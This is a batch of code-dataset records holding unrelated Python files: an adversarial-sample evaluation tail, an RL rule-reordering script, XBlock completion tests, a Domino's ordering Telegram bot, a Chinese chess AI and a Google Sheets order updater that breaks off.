#计算平均扰动量和比例\n average_per_count=(torch.sum(per)/len(per)).detach().numpy()\n average_per_ratio=(torch.sum(per)/torch.sum(evaluate_x)).detach().numpy()\n #对抗样本存储\n with open(\"generator_dataset/markov_evaluate_1000_X_adv_transform_triplet_v0_10_5_100\",\"wb\") as f:\n pickle.dump(evaluate_x_adv,f)\n with open(\"generator_dataset/markov_evaluate_1000_Y_adv_transform_triplet_v0_10_5_100\",\"wb\") as f:\n pickle.dump(evaluate_y,f)\n evaluate_x_adv=evaluate_x_adv.numpy()\n print(\"干净样本准确率:\",clean_acc,\"对抗样本准确率:\",adv_acc)\n print(\"平均扰动量:\",average_per_count,\"平均扰动率:\",average_per_ratio)\n\n\n\n\nif __name__==\"__main__\":\n # train()\n evaluate()","repo_name":"Bangwu2001/AndroidUniversal","sub_path":"扰动生成算法/盲扰动_pytorch/family/AE_GAN_Triplet_Transform_v0.py","file_name":"AE_GAN_Triplet_Transform_v0.py","file_ext":"py","file_size_in_byte":8279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37654602270","text":"# メインとなる機械学習を行う処理\n\n# ------------------------------------------------------------------\n# ----- ライブラリ定義 -----\n# ------------------------------------------------------------------\n# 基本ライブラリ\nimport math\nimport argparse\nimport random\nimport os\nimport glob\n# グラフライブラリとプロットライブラリ\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n# 機械学習関連\nimport gym\nfrom gym.envs.registration import register\nimport tensorboard\nfrom stable_baselines.common.vec_env import DummyVecEnv\nfrom stable_baselines.common.vec_env import SubprocVecEnv\nfrom stable_baselines import PPO2\nfrom stable_baselines.common import set_global_seeds\n\n# 自前環境\nfrom base_structure.rulemodel import *\nfrom base_structure.base_structure import *\nfrom base_structure.DependencyGraphModel import *\nfrom envs.rulemodel_env import rulemodel_env\n# ------------------------------------------------------------------\n\n\n# ------------------------------------------------------------------\n# ----- 引数 -----\n# ------------------------------------------------------------------\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\n \"rules\",\n type=str,\n help=\"読み込むルールファイルのパス. ClassBenchルール変換プログラムの6番を使用し,assign_evaluation_to_rulelist.pyで評価型を付与すること.\")\nparser.add_argument(\n \"--packets\",\n type=str,\n default=None,\n help=\"読み込むパケットファイルのパス.ClassBenchルール変換プログラムの6番を使用すること.無指定の場合は一様分布(全ての場合のパケット1つずつ).\")\nparser.add_argument(\n \"--experiment_title\",\n type=str,\n default=\"EXPERIMENT\",\n help=\"実験名.ファイルの出力名に使用.\")\nparser.add_argument(\n \"--max_steps\",\n type=int,\n default=500000,\n help=\"学習ステップ数.この回数行動したら学習終了.\")\nparser.add_argument(\n \"--additional_options\",\n type=str,\n default=\"\",\n help=\"追加の設定をアルファベット小文字で指定する.詳細はリポジトリ上のドキュメント参照.\")\nparser.add_argument(\n \"--sample_number\",\n type=int,\n default=None,\n help=\"サンプル番号.Excelに結果を書き込む場合は指定.\")\nparser.add_argument(\n \"--num_env\",\n type=int,\n default=1,\n help=\"マルチプロセッシングする際の環境の数.\")\n\n\n# ------------------------------------------------------------------\n\n# ------------------------------------------------------------------\n# ----- 追加設定を仕込む -----\n# ------------------------------------------------------------------\n# r が入っている -> 重み変動を考慮しない形式\nENV_ID = 'rulelistRecontrust-v0'\n\ndef make_env(env_id,rank,seed=0):\n def _init():\n env = gym.make(env_id)\n env.seed(seed + rank)\n return env\n set_global_seeds(seed)\n return _init\n\n# ------------------------------------------------------------------\n# ----- main処理 -----\n# ------------------------------------------------------------------\ndef main():\n args = parser.parse_args()\n # ルールリストを形成\n rule_list = BS.create_rulelist(args.rules)\n # パケットリストを形成\n packet_list = BS.create_packetlist(args.packets,rule_list)\n\n # 学習ステップ数\n max_all_steps = args.max_steps\n\n\n # 追加オプションの初期設定\n additional_options = {\n \"reward_formula\":Reward_Formula.filter, # 報酬設計\n \"sample_number\":args.sample_number # Excelに書き込む際の位置(サンプル番号)\n }\n\n additional_options[\"reward_formula\"] = Reward_Formula.init_weight if 'r' in args.additional_options else Reward_Formula.filter\n\n # gymに環境を登録し、初期化変数を設定\n register(\n id='rulelistRecontrust-v0',\n entry_point='envs.rulemodel_env:rulemodel_env',\n kwargs={\n 'rulelist':rule_list,\n 'packetlist':packet_list,\n 'experiment_title':args.experiment_title,\n 'additional_options':additional_options\n },\n )\n\n # 環境呼び出し\n env = gym.make('rulelistRecontrust-v0')\n\n # 実験結果まとめフォルダ作成\n os.makedirs('Dump/'+args.experiment_title,exist_ok=True)\n\n # tensorboard用ログフォルダ作成\n log_dir = 'Dump/'+args.experiment_title\n if args.sample_number != None:\n log_dir = 'Dump/' + args.experiment_title +'/sample' + str(args.sample_number)\n os.makedirs(log_dir,exist_ok=True)\n\n\n # 学習試行\n train_env = SubprocVecEnv([lambda: env for i in range(args.num_env)])\n model = PPO2('MlpLstmPolicy',train_env,verbose=1,tensorboard_log=log_dir,\n n_steps=8,\n nminibatches=args.num_env,\n learning_rate=0.025,\n gamma=0.975)\n model.learn(total_timesteps = args.max_steps)\n train_env.close()\n\n\n # Excelに書き込み\n if args.sample_number == None:\n exit()\n\n position = 'B' + str(1+args.sample_number)\n # 出力されたファイル群から遅延の最小値を取得\n minimum_latency = min([x.split('/')[-1].split('\\\\')[-1].split('s')[0] for x in glob.glob(\"Dump/\" + args.experiment_title + \"/sample\" + str(args.sample_number) + \"/*sRULE\")])\n \n ExcelController.write_result_to_excel(args.experiment_title,position,minimum_latency)\n print(\"EXCELにNeuroReorderサンプル\"+str(args.sample_number)+\"の結果値を書き込みました.\")\n\n\n\n \"\"\"\n # テスト試行\n test_env = DummyVecEnv([lambda: gym.make(ENV_ID)]) \n state = test_env.reset()\n while True:\n action,_ = model.predict(state,deterministic=True)\n state,rewards,done,info = test_env.step(action)\n if done:\n print(\"遅延:\" + str(rewards))\n break\n test_env.close()\n \"\"\"\nif __name__ == \"__main__\":\n main()\n","repo_name":"tanakalab/NeuroReorder","sub_path":"run_neuroreorder.py","file_name":"run_neuroreorder.py","file_ext":"py","file_size_in_byte":6131,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30615300040","text":"\"\"\"\nTests of the CompletableXBlockMixin.\n\"\"\"\n\n\nimport math\nfrom collections import namedtuple\nfrom unittest import TestCase\nfrom unittest import mock\n\nimport ddt\nfrom hypothesis import example, given, strategies\n\nfrom xblock.core import XBlock\nfrom xblock.fields import ScopeIds\nfrom xblock.runtime import Runtime\nfrom xblock.completable import CompletableXBlockMixin, XBlockCompletionMode\n\n\n@ddt.ddt\nclass XBlockCompletionModeTest(TestCase):\n \"\"\"\n Tests for XBlockCompletionMode\n \"\"\"\n blocklike = namedtuple('block_like', ['completion_mode'])\n\n @ddt.data(\n XBlockCompletionMode.COMPLETABLE,\n XBlockCompletionMode.AGGREGATOR,\n XBlockCompletionMode.EXCLUDED,\n )\n def test_explicit_mode(self, mode):\n block = self.blocklike(mode)\n self.assertEqual(\n XBlockCompletionMode.get_mode(block),\n mode\n )\n\n def test_no_mode(self):\n self.assertEqual(\n XBlockCompletionMode.get_mode(object()),\n XBlockCompletionMode.COMPLETABLE,\n )\n\n def test_unknown_mode(self):\n block = self.blocklike('somenewmode')\n self.assertEqual(\n XBlockCompletionMode.get_mode(block),\n 'somenewmode'\n )\n\n\nclass CompletableXBlockMixinTest(TestCase):\n \"\"\"\n Tests for CompletableXBlockMixin.\n \"\"\"\n class TestBuddyXBlock(XBlock, CompletableXBlockMixin):\n \"\"\"\n Simple XBlock extending CompletableXBlockMixin.\n \"\"\"\n\n class TestIllegalCustomCompletionAttrXBlock(XBlock, CompletableXBlockMixin):\n \"\"\"\n XBlock extending CompletableXBlockMixin using illegal `has_custom_completion` attribute.\n \"\"\"\n has_custom_completion = False\n\n class TestIllegalCompletionMethodAttrXBlock(XBlock, CompletableXBlockMixin):\n \"\"\"\n XBlock extending CompletableXBlockMixin using illegal `completion_mode` attribute.\n \"\"\"\n completion_mode = \"something_else\"\n\n def _make_block(self, runtime=None, block_type=None):\n \"\"\"\n Creates a test block.\n \"\"\"\n block_type = block_type if block_type else self.TestBuddyXBlock\n runtime = runtime if runtime else mock.Mock(spec=Runtime)\n scope_ids = ScopeIds(\"user_id\", \"test_buddy\", \"def_id\", \"usage_id\")\n return block_type(runtime=runtime, scope_ids=scope_ids)\n\n def test_has_custom_completion_property(self):\n \"\"\"\n Test `has_custom_completion` property is set by mixin.\n \"\"\"\n block = self._make_block()\n self.assertTrue(block.has_custom_completion)\n self.assertTrue(getattr(block, 'has_custom_completion', False))\n\n def test_completion_mode_property(self):\n \"\"\"\n Test `completion_mode` property is set by mixin.\n \"\"\"\n block = self._make_block()\n self.assertEqual(XBlockCompletionMode.get_mode(block), XBlockCompletionMode.COMPLETABLE)\n self.assertEqual(block.completion_mode, XBlockCompletionMode.COMPLETABLE)\n\n @given(strategies.floats())\n def test_emit_completion_illegal_custom_completion(self, any_completion):\n \"\"\"\n Test `emit_completion` raises exception when called on a XBlock with illegal `has_custom_completion` value.\n \"\"\"\n runtime_mock = mock.Mock(spec=Runtime)\n illegal_custom_completion_block = self._make_block(runtime_mock, self.TestIllegalCustomCompletionAttrXBlock)\n with self.assertRaises(AttributeError):\n illegal_custom_completion_block.emit_completion(any_completion)\n\n @given(strategies.floats())\n def test_emit_completion_completion_mode(self, any_completion):\n \"\"\"\n Test `emit_completion` raises exception when called on a XBlock with illegal `completion_mode` value.\n \"\"\"\n runtime_mock = mock.Mock(spec=Runtime)\n illegal_completion_mode_block = self._make_block(runtime_mock, self.TestIllegalCompletionMethodAttrXBlock)\n with self.assertRaises(AttributeError):\n illegal_completion_mode_block.emit_completion(any_completion)\n\n @given(strategies.floats(min_value=0.0, max_value=1.0))\n @example(1.0)\n @example(0.0)\n def test_emit_completion_emits_event(self, valid_completion_percent):\n \"\"\"\n Test `emit_completion` emits completion events when passed a valid argument.\n\n Given a valid completion percent\n When emit_completion is called\n Then runtime.publish is called with expected arguments\n \"\"\"\n runtime_mock = mock.Mock(spec=Runtime)\n block = self._make_block(runtime_mock)\n block.emit_completion(valid_completion_percent)\n\n runtime_mock.publish.assert_called_once_with(block, \"completion\", {\"completion\": valid_completion_percent})\n\n @given(strategies.floats().filter(lambda x: math.isnan(x) or x < 0.0 or x > 1.0))\n @example(None)\n @example(float('+inf'))\n @example(float('-inf'))\n def test_emit_completion_raises_assertion_error_if_invalid(self, invalid_completion_percent):\n \"\"\"\n Test `emit_completion` raises exception when passed an invalid argument.\n\n Given an invalid completion percent\n * Less than 0.0\n * Greater than 1.0\n * Positive or negative infinity\n * NaN\n When emit_completion is called\n Then value error is thrown\n \"\"\"\n runtime_mock = mock.Mock(spec=Runtime)\n block = self._make_block(runtime_mock)\n with self.assertRaises(ValueError):\n self.assertRaises(block.emit_completion(invalid_completion_percent))\n","repo_name":"openedx/XBlock","sub_path":"xblock/test/test_completable.py","file_name":"test_completable.py","file_ext":"py","file_size_in_byte":5560,"program_lang":"python","lang":"en","doc_type":"code","stars":447,"dataset":"github-code","pt":"48"} +{"seq_id":"35583549892","text":"import os\nimport pytz\n\nfrom datetime import datetime\n\nfrom requests.api import options\nfrom dominos.api import DominosNGClient\nfrom dotenv import load_dotenv\n\nfrom faunadb.client import FaunaClient\nfrom faunadb import query as q\n\nfrom telegram import ( \n ReplyKeyboardMarkup, \n InlineKeyboardButton, \n InlineKeyboardMarkup, \n ReplyKeyboardRemove,\n)\n\nfrom telegram.ext import ( \n Updater, \n ConversationHandler, \n)\n\nfrom utils import geocode\n\n\n\nload_dotenv()\n\n\n\nfauna_client = FaunaClient(secret=os.getenv(\"FAUNA_TOKEN\"), domain=\"db.us.fauna.com\")\nclient = DominosNGClient()\n\nupdater = Updater(token=os.getenv(\"TELEGRAM_BOT_TOKEN\"), use_context=True)\ndispatcher = updater.dispatcher\n\n\n\n\nCONFIRM_ADDRESS, SAVE_ADDRESS, ADDRESS_OR_LOCATION, FIND_STORES, MENU, SUBMENU, ADD_TO_CART = range(7)\n\n\n\n\n# Main Functions\n\n\ndef start(update, context):\n '''\n This function receives and saves the user's details and sends a welcome message\n '''\n\n chat_id = update.effective_chat.id\n name = update.message.chat.first_name or update.message.chat.username\n\n try:\n user = fauna_client.query(q.get(q.match(q.index(\"id\"), chat_id)))\n except:\n user = fauna_client.query(q.create(q.collection(\"users\"), {\n \"data\": {\n \"id\": chat_id,\n \"name\": name,\n \"address\": \"\",\n \"latitude\": \"\",\n \"longitude\": \"\",\n \"date\": datetime.now(pytz.UTC)\n }\n }))\n\n context.user_data[\"user_id\"] = user[\"ref\"].id()\n\n msg = f\"Hello {name},\\nWelcome to the unofficial bot for Domino's Pizza Nigeria.\\n\"\\\n \"My name is John and i'll be your botler\\n\\n\"\\\n \"/set_address To set your address\\n\"\\\n \"/start_order To start order\\n\"\\\n \"/cart To view your cart items\\n\"\\\n \"/update_address To update address details\\n\"\\\n \"/recent_orders To get your recent orders\"\n\n context.bot.send_message(chat_id=chat_id, text=msg)\n\ndef set_address(update, context):\n '''\n This function is used to request the user's address\n '''\n\n chat_id = update.effective_chat.id\n\n name = update.message.chat.first_name or update.message.chat.username\n\n try:\n user = fauna_client.query(q.get(q.match(q.index(\"id\"), chat_id)))\n except:\n user = fauna_client.query(q.create(q.collection(\"users\"), {\n \"data\": {\n \"id\": chat_id,\n \"name\": name,\n \"address\": \"\",\n \"latitude\": \"\",\n \"longitude\": \"\",\n \"date\": datetime.now(pytz.UTC)\n }\n }))\n\n context.user_data[\"user_id\"] = user[\"ref\"].id()\n\n msg = \"Type your address in this format: [Street number], [Street name], [City]\\n\"\\\n \"E.g 49, Kunle Street, Lagos\"\n\n context.bot.send_message(chat_id=chat_id, text=msg)\n\n return CONFIRM_ADDRESS\n\ndef confirm_address(update, context):\n '''\n This function receives the user's address and checks with Google API.\n Then asks user to confirm the address\n '''\n\n chat_id = update.effective_chat.id\n address = update.message.text\n\n\n try:\n\n # Check address with Google API\n address = geocode(address)\n\n if address:\n\n # Asks user to confirm\n\n msg = f\"{address['address']}\\n\\nIs this your address. (YES/NO)?\"\n context.user_data['address'] = address['address']\n context.user_data['latitude'] = address['latitude']\n context.user_data['longitude'] = address['longitude']\n\n reply_keyboard = [['YES','NO']]\n markup = ReplyKeyboardMarkup(reply_keyboard)\n context.bot.send_message(chat_id=chat_id, text=msg, reply_markup=markup)\n\n return SAVE_ADDRESS\n \n \n else:\n\n context.bot.send_message(chat_id=chat_id, text=\"Address Not Found. Try setting another address.\")\n return ConversationHandler.END\n\n\n except:\n context.bot.send_message(chat_id=chat_id, text=\"Address Not Found. Try setting another address\")\n return ConversationHandler.END\n\ndef save_address(update, context):\n '''\n If the user's address is confirmed, it is saved to the DB\n '''\n\n chat_id = update.effective_chat.id\n choice = update.message.text\n\n\n address = context.user_data['address']\n latitude = context.user_data['latitude']\n longitude = context.user_data['longitude']\n\n if choice.lower() == 'yes':\n\n # Updates user's address to DB\n fauna_client.query(q.update(q.ref(\n q.collection(\"users\"), context.user_data[\"user_id\"]), \n {\n \"data\": {\n \"address\": address, \n \"latitude\": latitude, \n \"longitude\": longitude\n }\n }\n ))\n\n msg = \"Your address has been saved.\"\n \n elif choice.lower() == 'no':\n msg = \"Your address wasn't found, try another address keyword\"\n else:\n msg = \"Unrecognized reply. Try YES or NO\"\n\n context.bot.send_message(chat_id=chat_id, text=msg, reply_markup=ReplyKeyboardRemove())\n return ConversationHandler.END\n\ndef start_order(update, context):\n '''\n This function starts the order converstaion\n '''\n chat_id = update.effective_chat.id\n msg = \"Do you want to use your saved address or current location ?\"\n reply_keyboard = [\n [\n InlineKeyboardButton(\n text=\"Saved Address\",\n callback_data=\"Saved Address\"\n ),\n InlineKeyboardButton(\n text=\"Current Location\",\n callback_data=\"Current Location\"\n )\n ]\n ]\n markup = InlineKeyboardMarkup(reply_keyboard, one_time_keyboard=True)\n context.bot.send_message(chat_id=chat_id, text=msg, reply_markup=markup)\n\n return ADDRESS_OR_LOCATION\n\ndef address_or_location(update, context):\n '''\n This function receives the user's location choice and returns the nearby stores\n '''\n\n chat_id = update.callback_query.message.chat.id\n if update.callback_query.data.lower() == \"saved address\":\n user = fauna_client.query(q.get(q.match(q.index(\"id\"), chat_id)))\n\n if user['data']['address']:\n\n stores = client.findNearbyStoresFromLocation(user['data']['latitude'], user['data']['longitude'])\n \n context.user_data['latitude'] = user['data']['latitude']\n context.user_data['longitude'] = user['data']['longitude']\n\n for store in stores:\n\n keyboard = [\n InlineKeyboardButton(\"Carryout\", callback_data=f\"Carryout_{store['StoreID']}\")\n ]\n\n if store['IsDeliveryStore']==\"true\":\n\n keyboard = [\n InlineKeyboardButton(\"Delivery\", callback_data=f\"Delivery_{store['StoreID']}\"),\n InlineKeyboardButton(\"Carryout\", callback_data=f\"Carryout_{store['StoreID']}\")\n ]\n\n \n\n reply_markup = InlineKeyboardMarkup([keyboard])\n\n msg = f\"{store['StoreName']}\\n{store['StreetName']}, {store['City']}\\n{store['Phone']}\"\\\n f\"\\n\\nService Hours: \\n\\nDelivery: \\n{store['ServiceHoursDescription']['Delivery']}\"\\\n f\"\\n\\nCarryout: \\n{store['ServiceHoursDescription']['Carryout']}\"\n context.bot.send_message(chat_id=chat_id, text = msg, reply_markup=reply_markup)\n return MENU\n\n\n \n else:\n msg = \"You don't have any saved address\\n/set_address To save your address\"\n context.bot.send_message(chat_id=chat_id, text=msg)\n return ConversationHandler.END\n \n elif update.callback_query.data.lower() == \"current location\":\n\n msg = \"Send your current location\\n\\n\"\\\n \"Don't know how to send location? Check here: https://telegram.org/blog/live-locations\"\n context.bot.send_message(chat_id=chat_id, text=msg)\n return FIND_STORES\n\n else:\n\n context.bot.send_message(chat_id=chat_id, text=\"Unrecognized Reply\\n\\n/start_order To start order\")\n return ConversationHandler.END\n\ndef location(update, context):\n '''\n This function receives the user's current location and returns nearby stores\n '''\n\n chat_id = update.effective_chat.id\n location = update.message.location\n context.user_data['latitude'] = location.latitude\n context.user_data['longitude'] = location.longitude\n stores = client.findNearbyStoresFromLocation(location.latitude, location.longitude)\n\n \n\n for store in stores:\n\n keyboard = [\n InlineKeyboardButton(\"Carryout\", callback_data=f\"Carryout_{store['StoreID']}\")\n ]\n\n if store['IsDeliveryStore']==\"true\":\n\n keyboard = [\n InlineKeyboardButton(\"Delivery\", callback_data=f\"Delivery_{store['StoreID']}\"),\n InlineKeyboardButton(\"Carryout\", callback_data=f\"Carryout_{store['StoreID']}\")\n ]\n\n\n reply_markup = InlineKeyboardMarkup([keyboard])\n\n msg = f\"{store['StoreName']}\\n{store['StreetName']}, {store['City']}\\n{store['Phone']}\"\\\n f\"\\n\\nService Hours: \\n\\nDelivery: \\n{store['ServiceHoursDescription']['Delivery']}\"\\\n f\"\\n\\nCarryout: \\n{store['ServiceHoursDescription']['Carryout']}\"\n context.bot.send_message(chat_id=chat_id, text = msg, reply_markup=reply_markup)\n return MENU\n\ndef menu(update, context):\n '''\n This function returns the store menu\n '''\n chat_id = update.effective_chat.id\n query = update.callback_query\n\n \n\n query.answer()\n \n # This will define which button the user tapped on (from what you assigned to \"callback_data\"):\n choice = query.data\n\n if \"Delivery\" in choice or \"Carryout\" in choice:\n choice = choice.split('_')\n order_type = choice[0]\n store_id = choice[1]\n context.user_data['order_type'] = order_type\n context.user_data['store_id'] = store_id\n\n menu = client.storemenu(store_id)\n\n \n productTypes = []\n for key, product in menu['Products'].items():\n productTypes.append(product.get('ProductType').upper())\n\n \n productTypes = list(set(productTypes))\n \n for category in productTypes:\n msg = f\"{category.upper()}\"\n keyboard = [\n InlineKeyboardButton(\"See Products\", callback_data=f\"CATEGORY_{category}\"),\n ]\n\n reply_markup = InlineKeyboardMarkup([keyboard])\n url = f'images/{category.lower()}.png'\n if category.lower() == \"papotas\":\n url = \"images/sides.png\"\n context.bot.send_photo(chat_id=chat_id, photo=open(url, 'rb'), caption=msg, reply_markup=reply_markup)\n \n return SUBMENU\n \ndef sub_menu(update, context):\n '''\n This function returns a menu for a given category\n '''\n print(\"submenu\")\n chat_id = update.callback_query.message.chat.id\n choice = update.callback_query.data.split('_')\n if choice[0] == 'CATEGORY':\n category = choice[1]\n store_id = context.user_data['store_id']\n menu = client.storemenu(store_id)\n \n \n \n for key, item in menu['Products'].items():\n if item.get('ProductType').upper() == category:\n \n for variant in item.get('Variants'):\n product = menu['Variants'][variant]\n name = product['Name']\n price = product['Price']\n \n keyboard = [\n InlineKeyboardButton(\"Add To Cart\", callback_data=f\"addToCart_{product['Code']}\")\n ]\n\n msg = f\"{name}\\nNGN {price}\"\n url = f\"https://cache.dominos.com/olo/6_64_5/assets/build/market/NG/_en/images/img/products/larges/{product['ProductCode']}.jpg\"\n reply_markup = InlineKeyboardMarkup([keyboard])\n context.bot.send_photo(chat_id=chat_id, photo=url, caption=msg, reply_markup=reply_markup)\n return ADD_TO_CART\n\ndef add_to_cart(update, context):\n '''\n This function adds an item to the cart or increases its quantity\n '''\n print(\"add to cart\")\n chat_id = update.callback_query.message.chat.id\n reply = update.callback_query.data\n product_code = reply.split(\"_\")[1]\n store_id = context.user_data['store_id']\n order_type = context.user_data['order_type'] or 'Carryout'\n \n try:\n context.user_data['id']\n except:\n context.user_data['id'] = 0\n\n store = client.getStoreDetails(store_id)\n streetName = store['StreetName']\n city = store['City']\n\n try:\n latitude = context.user_data['latitude']\n longitude = context.user_data['longitude']\n except:\n user = fauna_client.query(q.get(q.match(q.index(\"id\"), chat_id)))\n latitude = user['data']['latitude']\n longitude = user['data']['longitude']\n\n '''\n options = {\n \"D\": {\n \"1/1\": \"1\"\n },\n \"C\": {\n \"1/1\": \"1\"\n },\n \"I\": {\n \"1/1\": \"1\"\n },\n \"M\": {\n \"1/1\": \"1\"\n },\n \"N\": {\n \"1/1\": \"1\"\n },\n \"X\": {\n \"1/1\": \"1\"\n }\n }\n '''\n options = {}\n\n\n try:\n cart = fauna_client.query(q.get(q.match(q.index(\"customer_id\"), chat_id)))\n except:\n cart = fauna_client.query(q.create(q.collection(\"cart\"), {\n \"data\": {\n \"customer_id\": chat_id,\n \"products\": [],\n \"store_id\": store_id,\n \"order_id\" : \"\",\n \"order_type\": order_type,\n \"date\": datetime.now(pytz.UTC)\n }\n }))\n\n ref = cart['ref'].id()\n\n cart = cart['data']['products']\n new_product = {\n \"Code\": product_code,\n \"Qty\": 1,\n \"ID\": 1,\n \"isNew\": True,\n \"Options\": options\n }\n\n # Checks if product is already in cart\n for product in cart:\n if product['Code'] == new_product['Code']:\n product['Qty'] += 1\n break\n else:\n context.user_data['id'] += 1\n new_product[\"ID\"] = context.user_data['id']\n cart.append(new_product)\n\n \n\n orderID = context.user_data.get('orderID',\"\")\n\n try:\n order_id = client.addToCart(\n store_id=store_id, \n store_city=city, \n store_street=streetName, \n latitude=latitude, \n longitude=longitude, \n products=cart,\n orderID=orderID,\n order_type=order_type,\n )\n\n context.user_data['orderID'] = order_id\n\n fauna_client.query(q.update(q.ref(\n q.collection(\"cart\"), ref), \n {\n \"data\": {\n \"products\": cart, \n \"order_id\": order_id\n }\n }\n ))\n\n msg = f'Product Added\\n\\nSee Your Cart /cart'\n except:\n msg = \"Something went wrong, try again later.\"\n\n context.bot.send_message(chat_id=chat_id, text = msg)\n\ndef view_cart(update, context):\n '''\n View Cart Items\n '''\n\n chat_id = update.effective_chat.id\n try:\n cart = fauna_client.query(q.get(q.match(q.index(\"customer_id\"), chat_id)))\n orderID = cart['data']['order_id']\n store_id = cart['data']['store_id']\n order_type = cart['data']['order_type']\n products = cart['data']['products']\n\n store = client.getStoreDetails(store_id)\n streetName = store['StreetName']\n city = store['City']\n\n try:\n latitude = context.user_data['latitude']\n longitude = context.user_data['longitude']\n except:\n user = fauna_client.query(q.get(q.match(q.index(\"id\"), chat_id)))\n latitude = user['data']['latitude']\n longitude = user['data']['longitude']\n\n cart_summary = client.priceOrder(\n store_id=store_id, \n store_city=city, \n store_street=streetName, \n latitude=latitude, \n longitude=longitude, \n products=products,\n orderID=orderID,\n order_type=order_type,\n )\n\n order_id = f\"Order ID: {cart_summary['Order']['OrderID']}\\n\"\n\n for product in cart_summary['Order']['Products']:\n print(product)\n cart_item = f\"{product['ID']}. {product['Name']} \"\\\n f\"(x{product['Qty']})\\nAmount: NGN {product['Amount']}\"\n keyboard = [\n InlineKeyboardButton(\"Remove from Cart\", callback_data=f\"{product['Code']}\")\n ]\n reply_markup = InlineKeyboardMarkup([keyboard])\n context.bot.send_message(chat_id=chat_id, text=cart_item, reply_markup=reply_markup)\n\n msg = f\"Amount: NGN {cart_summary['Order']['Amounts']['Menu']}\\nTax: NGN {cart_summary['Order']['Amounts']['Tax']}\\n\"\\\n f\"Discount: NGN {cart_summary['Order']['Amounts']['Discount']}\\n\\n\"\\\n f\"Total: NGN {cart_summary['Order']['Amounts']['Payment']}\"\n\n keyboard = [\n InlineKeyboardButton(\"Checkout\", callback_data=f\"Checkout_{cart_summary['Order']['OrderID']}\")\n ]\n reply_markup = InlineKeyboardMarkup([keyboard])\n context.bot.send_message(chat_id=chat_id, text=msg, reply_markup=reply_markup)\n except:\n msg = \"Your cart is empty\\n\\n/start_order To start your order\"\n context.bot.send_message(chat_id=chat_id, text=msg)\n\n# Control\ndef cancel(update, context) -> int: \n update.message.reply_text(\n 'Cancelled.',\n reply_markup=ReplyKeyboardRemove()\n )\n\n return ConversationHandler.END\n\ndef common_message(update, context):\n pass\n\n\n\n\n\n","repo_name":"Johnkayode/Dominos-bot","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":18105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12480304584","text":"import _thread\nimport copy\nimport sys\nimport time\nimport threading\n\nimport Alg\nfrom ChessBoard import *\nfrom ChessView import ChessView\n\n\nclass ChessGame:\n\n def __init__(self):\n self.board = ChessBoard()\n self.player_is_red = True\n self.view = ChessView(self, self.board)\n self.view.showMsg(\"Red\")\n self.view.draw_board()\n\n def start(self):\n self.view.start()\n\n def ai_think(self):\n score, move = Alg.AlphaBeta(board=copy.deepcopy(self.board),\n depth=2,\n alpha=-sys.maxsize - 1,\n beta=sys.maxsize,\n is_red=self.player_is_red,\n is_root=True)\n print(move)\n return move\n\n def aigo(self):\n move = self.ai_think()\n self.select(move[0][0], move[0][1])\n time.sleep(0.1)\n self.select(move[1][0], move[1][1])\n\n def select(self, rx, ry):\n ok = self.board.select(rx, ry, self.player_is_red)\n if ok:\n self.player_is_red = not self.player_is_red\n self.view.showMsg(\"Red\" if self.player_is_red else \"Green\")\n self.view.is_refresh = True\n return ok\n\n def run_ai2go(self, event):\n threading.Thread(target=self.ai2go, name='ai', daemon=True).start()\n # _thread.start_new_thread(self.ai2go, ())\n\n def ai2go(self):\n while not self.board.is_game_over():\n time.sleep(1)\n self.aigo()\n\n def on_click_board(self, event):\n if self.board.is_game_over():\n return\n rx, ry = Global.coord_real2board(event.x), Global.coord_real2board(event.y)\n if self.select(rx, ry):\n threading.Thread(target=self.aigo, name='ai', daemon=True).start()\n\n\ngame = ChessGame()\ngame.start()\n","repo_name":"ylzf0000/ChineseChess","sub_path":"Deprecated/ChessGame.py","file_name":"ChessGame.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"9519316669","text":"import os\nfrom streamlit_extras.metric_cards import style_metric_cards\nimport numpy as np\nimport pandas as pd\nimport streamlit as st\nfrom google.auth.transport.requests import Request\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.oauth2.credentials import Credentials\nfrom googleapiclient.discovery import build\nfrom googleapiclient.errors import HttpError\nimport zipfile\nfrom io import BytesIO\nfrom etiquetas import etiquetas\nimport requests\nimport configparser\nfrom put_status import update_order_status\n\n\n\nSCOPE=['https://www.googleapis.com/auth/spreadsheets']\n\nSPREADSHEET_ID= '1jUkNcmwj0P4v8h-xclnkPklKm9eyD4AosgOaCuY7BZI'\n\ndef get_google_sheets_data():\n credentials= None\n if os.path.exists('token.json'):\n credentials= Credentials.from_authorized_user_file(\"token.json\",SCOPE)\n if not credentials or not credentials.valid:\n if credentials and credentials.expired and credentials.refresh_token:\n credentials.refresh(Request())\n else:\n flow= InstalledAppFlow.from_client_secrets_file(\"credentials.json\",SCOPE)\n credentials= flow.run_local_server(port=0)\n with open(\"token.json\",\"w\") as token:\n token.write(credentials.to_json()) \n\n try:\n service = build(\"sheets\", \"v4\", credentials= credentials)\n sheets= service.spreadsheets()\n result= sheets.values().get(spreadsheetId=SPREADSHEET_ID, range=\"Ordenes!A:AF\").execute()\n values=result.get(\"values\",[])\n return values\n except HttpError as error:\n print(error)\n\ndef update_status(target_ids):\n values = get_google_sheets_data()\n credentials= None\n if os.path.exists('token.json'):\n credentials= Credentials.from_authorized_user_file(\"token.json\",SCOPE)\n if not credentials or not credentials.valid:\n if credentials and credentials.expired and credentials.refresh_token:\n credentials.refresh(Request())\n else:\n flow= InstalledAppFlow.from_client_secrets_file(\"credentials.json\",SCOPE)\n credentials= flow.run_local_server(port=0)\n with open(\"token.json\",\"w\") as token:\n token.write(credentials.to_json())\n\n if values is not None:\n for row in values:\n if row[0] in target_ids:\n row_index = values.index(row)\n # Actualizar el valor de la columna \"Status\" en la fila encontrada\n service = build(\"sheets\", \"v4\", credentials= credentials)\n sheets= service.spreadsheets()\n sheets.values().update(\n spreadsheetId=SPREADSHEET_ID,\n range=f'Ordenes!C{row_index + 1}', \n valueInputOption='RAW',\n body={'values': [['completed']]}\n ).execute()\n # print(f'Status actualizado a \"{new_status}\" para el ID {row[0]}')\n\n\n\nif __name__==\"__main__\":\n 